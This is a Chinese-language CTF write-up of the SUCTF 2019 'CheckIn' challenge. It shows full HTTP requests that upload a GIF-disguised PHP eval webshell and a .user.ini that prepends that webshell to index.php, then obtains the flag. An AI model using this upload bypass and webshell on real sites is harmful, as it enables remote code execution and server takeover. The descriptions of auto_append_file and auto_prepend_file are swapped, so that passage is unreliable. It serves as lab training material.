BUUCTF WEB [SUCTF 2019]CheckIn
.user.ini文件
PHP 支持基于每个目录的 INI 文件配置。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
与php.ini
不同,.user.ini
是一个能被动态加载的ini文件,它实际上是一个可以由用户自定义的php.ini
。
其中有两个比较重要的配置项
auto_append_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_prepend_file
指定一个文件,自动包含在要执行的文件后
这里就给了我们利用的思路:上传图片马后借助.user.ini
让所有的php文件包含这个图片马
具体步骤
-
尝试了一下,发现php、phtml等特殊后缀文件均被过滤,上传
.user.ini
文件使index.php每次执行前都包含我们的图片马 -
上传图片马
POST /index.php HTTP/1.1 Host: bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81 Content-Length: 357 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykZPn3EYO3qfshB6J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundarykZPn3EYO3qfshB6J Content-Disposition: form-data; name="fileUpload"; filename="1.png" Content-Type: image/png GIF89a <script language=php>@eval($_POST['cmd']);</script> ------WebKitFormBoundarykZPn3EYO3qfshB6J Content-Disposition: form-data; name="upload" 鎻愪氦 ------WebKitFormBoundarykZPn3EYO3qfshB6J--
回显
Your dir uploads/cc551ab005b2e60fbdc88de809b2c4b1 Your files : array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(5) "1.png" [3]=> string(9) "index.php" }
上传成功
-
根据回显,index.php与上传的木马文件在一个文件夹内,构造.
user.ini
POST /index.php HTTP/1.1 Host: bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81 Content-Length: 333 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBD6cBDmWj7oGaqUW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bc28eef2-4670-4eba-8efc-4536988095e1.node4.buuoj.cn:81/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryBD6cBDmWj7oGaqUW Content-Disposition: form-data; name="fileUpload"; filename=".user.ini" Content-Type: application/octet-stream GIF89a auto_prepend_file=1.png ------WebKitFormBoundaryBD6cBDmWj7oGaqUW Content-Disposition: form-data; name="upload" 鎻愪氦 ------WebKitFormBoundaryBD6cBDmWj7oGaqUW--
回显
Your dir uploads/cc551ab005b2e60fbdc88de809b2c4b1 Your files : array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "1.png" [4]=> string(9) "index.php" }
上传成功。
-
使用蚁剑连接index.php,在文件根目录找到flag
flag{ab23f431-5a64-46c6-9337-db910b806d5f}